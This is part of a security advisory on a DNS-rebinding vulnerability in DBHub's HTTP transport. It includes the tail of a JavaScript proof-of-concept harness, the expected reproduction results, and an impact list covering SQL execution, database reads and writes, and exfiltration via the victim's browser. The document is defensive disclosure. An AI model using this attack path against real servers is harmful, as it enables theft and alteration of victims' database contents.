Advisory

GHSA-fm8p-53ww-hf6w

Details, part 2 of 2. The advisory

Details

res.on("end", () => resolve({ statusCode: res.statusCode }));
});
req.on("error", reject);
req.setTimeout(2_000, () => {
req.destroy(new Error("timeout"));
});
});
}

async function pickFreePort() {
return await new Promise((resolve, reject) => {
const server = net.createServer();
server.listen(0, "127.0.0.1", () => {
const address = server.address();
const selected = address.port;
server.close(() => resolve(selected));
});
server.on("error", reject);
});
}

function summarize(result) {
return {
statusCode: result.statusCode,
acao: result.acao,
body: result.body.slice(0, 900),
};
}

function dbhubLaunchCommand(port) {
if (process.platform === "win32") {
return {
command: "cmd.exe",
args: [
"/d",
"/s",
"/c",
npx -y @bytebase/[email protected] --transport http --port ${port} --demo,
],
};
}
return {
command: "npx",
args: ["-y", "@bytebase/[email protected]", "--transport", "http", "--port", String(port), "--demo"],
};
}

async function stopServer(child) {
if (!child.pid || child.exitCode !== null) return;
if (process.platform === "win32") {
await new Promise((resolve) => {
const killer = spawn("taskkill.exe", ["/pid", String(child.pid), "/t", "/f"], { stdio: "ignore" });
killer.on("exit", resolve);
killer.on("error", resolve);
});
return;
}
child.kill("SIGTERM");
}


Expected output:

- `blocked.statusCode` is `403`.
- `rebindToolsList.statusCode` is `200`.
- `rebindToolsList.acao` is `http://dbhub-rebind.example`.
- `rebindRead.body` contains `STANDALONE_REBIND_CANARY`.
- `rebindWrite.body` contains `rows_written`.
- `reproduced` is `true`.

This PoC simulates the post-rebinding request shape by connecting to `127.0.0.1` while sending the attacker-controlled `Host` and `Origin` headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.

### Impact

An attacker who can get a victim to visit a malicious web page can make the victim's browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.

If DBHub is connected to a real database, the attacker can:

- list DBHub MCP tools exposed by the server;
- execute `execute_sql`;
- enumerate tables and schemas;
- read database contents;
- run write queries when `execute_sql` is not configured as read-only;
- read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;
- exfiltrate query results through normal browser egress.

This does not require prompt injection, a compromised AI client, or prior access to the victim's internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.

The affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.

Sources & licences